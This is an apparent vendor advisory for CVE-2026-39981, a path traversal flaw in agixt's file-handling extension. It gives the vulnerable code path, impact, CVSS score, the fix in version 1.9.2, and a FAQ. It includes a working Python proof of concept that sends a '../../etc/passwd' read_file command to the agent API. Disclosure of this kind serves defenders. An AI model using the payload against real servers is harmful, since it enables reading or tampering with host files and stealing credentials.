CVE-2026-39981

The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.

Details

agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)

# source
command_args = command.command_args

# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)

# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))

PoC

# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1
 
import requests
 
BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"
 
headers = {"Authorization": f"Bearer {TOKEN}"}
 
payload = {
    "command_name": "read_file",
    "command_args": {
        "filename": "../../etc/passwd"
    }
}
 
r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...

Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-39981 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-39981? CVE-2026-39981 is a high-severity path traversal vulnerability in agixt (pip), affecting versions <= 1.9.1. It is fixed in 1.9.2. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-39981? CVE-2026-39981 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of agixt are affected by CVE-2026-39981? agixt (pip) versions <= 1.9.1 is affected.
4. Is there a fix for CVE-2026-39981? Yes. CVE-2026-39981 is fixed in 1.9.2. Upgrade to this version or later.
5. Is CVE-2026-39981 exploitable, and should I be worried? Whether CVE-2026-39981 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-39981 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-39981? Upgrade agixt to 1.9.2 or later.